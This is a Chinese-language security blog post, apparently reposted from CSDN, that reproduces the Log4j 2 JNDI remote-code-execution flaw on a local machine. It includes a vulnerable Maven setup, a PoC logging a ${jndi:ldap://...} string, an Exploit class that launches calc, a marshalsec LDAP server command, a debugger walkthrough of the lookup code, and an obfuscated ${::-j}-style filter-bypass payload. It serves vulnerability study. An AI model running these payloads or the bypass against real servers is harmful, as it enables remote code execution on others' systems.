0


Log4j远程代码执行漏洞

文章目录

Log4j远程代码执行漏洞

简介

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

漏洞原理

当log4j打印的日志内容中包括 ${jndi:ldap://ip}时,程序就会通过Idap协议访问ip这个地址,然后ip就会返回一个包含Java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

影响范围

Apache Log4j 2.x < 2.15.0-rc2。

漏洞复现

vscode创建maven项目,导入依赖,

pom.xml

内容:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>Log4j</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
        </dependency>
    </dependencies>
</project>

构建poc,测试漏洞,实际情况中logger.error的参数是网站输入参数,这里我们直接将poc输入测试。

// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogOut {
    public static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

构建恶意脚本Exploit.java

//Exploit.java
public class Exploit {
    public static void main(String[] args) throws Exception {
        System.out.println("Hello, World!");
        try{
            String cmd="calc";
            Runtime.getRuntime().exec(cmd);
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

编译成class文件。

javac Exploit.java

搭建ldap服务,需要下载marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

image-20220907125517077

关键函数:

image-20220908194454201

workingBuilder在offset出存储着输入的字符串,此处即

${jndi:ldap://localhost:1389/Exploit}

,我们可以看到此处for循环遍历整个输入字符串寻找

${

跟进

this.config.getStrSubstitutor().replace(event, value)

image-20220908195007215

继续跟进substitute函数:

image-20220908195914186

通过查看调试器我们可以知道

prefixMatcher=${

,

suffixMatcher=}

,

valueDelimiterString=:-

,

image-20220908195949964

最终经过对

${

}

的匹配,成功提取

${jndi:ldap://localhost:1389/Exploit}

的中间内容

jndi:ldap://localhost:1389/Exploit

image-20220908200922868

后面都是对

:-

等的处理,直到关键函数

this.resolveVariable()

其中

varName

jndi:ldap://localhost:1389/Exploit

image-20220908201926090

继续跟进,返现

lookup

函数

image-20220908201832510

可以看到lookup函数可以实现的各种类其中就包括jndi,当然我们也是使用其他的方法。

image-20220908202643331

最终引发jndi注入。

同时我们可以发现在此处进行,分解组装操作,即将

${::-j}

变为

j

并重新合并至源字符串中,这就是bypass基本原理。

image-20220908210740930

这里可以看到匹配函数,isMatch会匹配

:-

image-20220908212023212

Bypass

由以上分析实际上只要存在

:-

j即可bypass,如

${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit}

,当然这只是最原始版本的bypass,最新版的还未研究。
( ̄y▽, ̄)╭

标签: log4j java 安全

本文转载自: https://blog.csdn.net/weixin_44411509/article/details/126968478
版权归原作者 Geniotic 所有, 如有侵权,请联系我们删除。

“Log4j远程代码执行漏洞”的评论:

还没有评论